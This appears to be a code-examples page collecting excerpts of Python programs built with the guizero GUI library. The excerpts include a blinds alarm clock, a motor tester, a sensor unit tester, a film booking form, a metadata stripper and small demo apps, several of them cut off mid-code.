                                             datetime_one_time_alarm_open)
        text_one_time_alarm_status.text_color = "black"
        text_one_time_alarm_status.value = "Submitted"

    guizero.PushButton(box_one_time_alarm, text="Set one-time alarm",
                       command=set_one_time_alarm)

    def tick():
        datetime_now = datetime.now().astimezone()

        nonlocal datetime_one_time_alarm_open
        nonlocal datetime_daily_alarm_close
        nonlocal datetime_daily_alarm_open

        if datetime_daily_alarm_close is not None:
            timedelta_to_daily_alarm_close = \
                datetime_daily_alarm_close - datetime_now
            total_seconds = timedelta_to_daily_alarm_close.total_seconds()
            #print(f"total_seconds until daily alarm close: {total_seconds}")
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_daily_alarm_close)
                text_daily_alarm_status2.value = \
                    f"Blinds will close in {hours} hr {minutes} min {seconds} sec"
            else:
                #print("which is leq zero, so I am closing the blinds")
                text_daily_alarm_status2.value = \
                    f"Blinds closed at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_daily_alarm_close = None
                window_blinds.go_to_closed()

        if datetime_daily_alarm_open is not None:
            timedelta_to_daily_alarm_open = \
                datetime_daily_alarm_open - datetime_now
            total_seconds = timedelta_to_daily_alarm_open.total_seconds()
            #print(f"total_seconds until daily alarm open:  {total_seconds}")
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_daily_alarm_open)
                text_daily_alarm_status3.value = \
                    f"Blinds will open in {hours} hr {minutes} min {seconds} sec"
            else:
                #print("    which is leq zero, so I am opening the blinds")
                text_daily_alarm_status3.value = \
                    f"Blinds opened at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_daily_alarm_open = None
                window_blinds.go_to_open()
                date_tomorrow = date.today() + timedelta(days=1)
                set_daily_alarm(date_tomorrow)

        if datetime_one_time_alarm_open is not None:
            timedelta_to_one_time_alarm_open = \
                datetime_one_time_alarm_open - datetime_now
            total_seconds = timedelta_to_one_time_alarm_open.total_seconds()
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_one_time_alarm_open)
                text_one_time_alarm_status.value = f"One-time alarm will ring in {hours} hr {minutes} min {seconds} sec"
            else:
                text_one_time_alarm_status.value = f"One-time alarm rang at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_one_time_alarm_open = None
                neopixel_ring_clock.remove_alarm_region("one-time")
                window_blinds.go_to_open()

        neopixel_ring_clock.update()

    set_daily_alarm()
    guizero_app.repeat(1000, tick)
    guizero_app.display()  # blocks until the guizero window is closed
    window_blinds.stop()
    neopixel_ring_clock.all_off()
Ejemplo n.º 24
0
        elif rspeed == 'target':
            speed = self.mfields['userpm'].getValue()
        else:
            raise ValueError("speed oops " + rspeed)
        if rtype == 'goto target':
            posn = self.mfields['targetpos'].getValue()
            print('doit', rtype, posn, speed)
            self.motor.goto(targetpos=posn, speed=speed)
        elif rtype in ('run forward', 'run reverse'):
            self.motor.setspeed(
                speed=speed if rtype == 'run forward' else -speed)
        else:
            raise ValueError('rtype oops ' + rtype)


app = gz.App(title="Motor testing")
starttime = time.time()
header = gz.Box(app, align='top', width='fill')
elapsed = gz.Text(header, text="clock here", align='right')
mpanel = gz.Box(app, align='left', layout='grid')

pfields = {}
for y, field in enumerate(motorfields):
    l = field[1](mpanel, grid=[0, y], **field[2])
    pfields[field[0]] = {
        'y': y,
        'class': field[3],
        'kwargs': field[4],
    }
motorpan = motorPanel(motor=chipdrive.tmc5130(),
                      gridx=1,
Ejemplo n.º 25
0
    print("\n\n ------ End of Tests ------")
    print("   " + strftime("%B %d, %Y %H:%M:%S") + "\n")
    app_text_output.enable()
    app_text_output.value = redirect_string.getvalue()
    app_button_test_sensor.enable()
    app_textbox_address.enable()
    redirect_string.truncate(0)
    redirect_string.seek(0)


redirect_string = io.StringIO()
sys.stdout = redirect_string

app_title_name = "KootNet Sensors - Unit Tester for " + compatible_version_str
app = guizero.App(title=app_title_name, width=622, height=538, layout="grid")
app_text_address = guizero.Text(app,
                                text="Sensor Address",
                                grid=[1, 1],
                                align="left")
app_textbox_address = guizero.TextBox(app,
                                      text="localhost",
                                      width=40,
                                      grid=[2, 1],
                                      align="left")
app_button_test_sensor = guizero.PushButton(app,
                                            text="Start Tests",
                                            command=button_go,
                                            grid=[3, 1],
                                            align="right")
Ejemplo n.º 26
0
#!/usr/bin/env python3

import guizero

app = guizero.App(title="My second GUI app",
                  width=300,
                  height=200,
                  layout="grid")

combo_label = guizero.Text(app, text="Which film?", grid=[0, 0], align='left')
film_choice = guizero.Combo(app,
                            options=['Star Wars', 'Frozen', 'Lion King'],
                            grid=[1, 0],
                            align="left")

cbox_label = guizero.Text(app, text="Seat Type", grid=[0, 1], align='left')
vip_seat = guizero.CheckBox(app, text="VIP seat?", grid=[1, 1], align='left')

row_choice = guizero.ButtonGroup(app,
                                 options=[["Front", "F"], ["Middle", "M"],
                                          ["Back", "B"]],
                                 selected="M",
                                 horizontal=True,
                                 grid=[1, 2],
                                 align="left")


def do_booking():
    print(film_choice.value)
    print(vip_seat.value)
    print(row_choice.value)
Ejemplo n.º 27
0
# importing modules
from tkinter import *
from tkinter import filedialog
import guizero
from PIL import ImageTk, Image
import os
from pyexiv2 import Image as Meta

# setting global varialbes
input_box = None
thumbnail = None
listbox = None
return_box = None

# creating app window and box widget
app = guizero.App(title="Metas-Strip")
buttons_box = guizero.Box(app, width="fill", align="bottom")


# about function
def about():
    pass


# function to clear screen
def clear_all():
    global return_box

    # destroy return box and all items in it
    return_box.destroy()
        active.configure(background='lightgray')
    app.update()
    return True


def end_app():
    logger.info('Game Exit!!!!')
    big_game.game_exit()
    app.destroy()
    loop.quit()


if __name__ == '__main__':
    logger.debug('Debug On!!!!')
    app = guizero.App("Big Button Project",
                      layout='grid',
                      width='600',
                      height='300')
    big_game = big_button_project.ButtonGame()
    title = guizero.Text(app, text='Big Button Game', size=24, grid=[0, 1])
    button = guizero.PushButton(app,
                                big_game.game_start,
                                text='Start',
                                grid=[1, 1])
    active = guizero.TextBox(app, text='', width=20, grid=[2, 1])
    active.configure(background=big_game.btn_active)
    score_lbl = guizero.Text(app, text='Score:', size=36, grid=[3, 0])
    score = guizero.Text(app, text=big_game.score, size=36, grid=[3, 2])
    game_over = guizero.PushButton(app, end_app, text='Exit', grid=[4, 1])

    GLib.idle_add(refresh_app)
    try:
Ejemplo n.º 29
0
#!/usr/bin/env python3

import guizero

app = guizero.App(title="hello world")

welcome_message = guizero.Text(app, text="Welcome to my app")
my_name = guizero.TextBox(app)

def say_my_name():
    welcome_message.value = my_name.value

def change_text_size(slider_value):
    welcome_message.size = slider_value

update_text = guizero.PushButton(
    app,
    command=say_my_name,
    text="Display my name")

text_size = guizero.Slider(app, command=change_text_size, start=10, end=80)

app.display()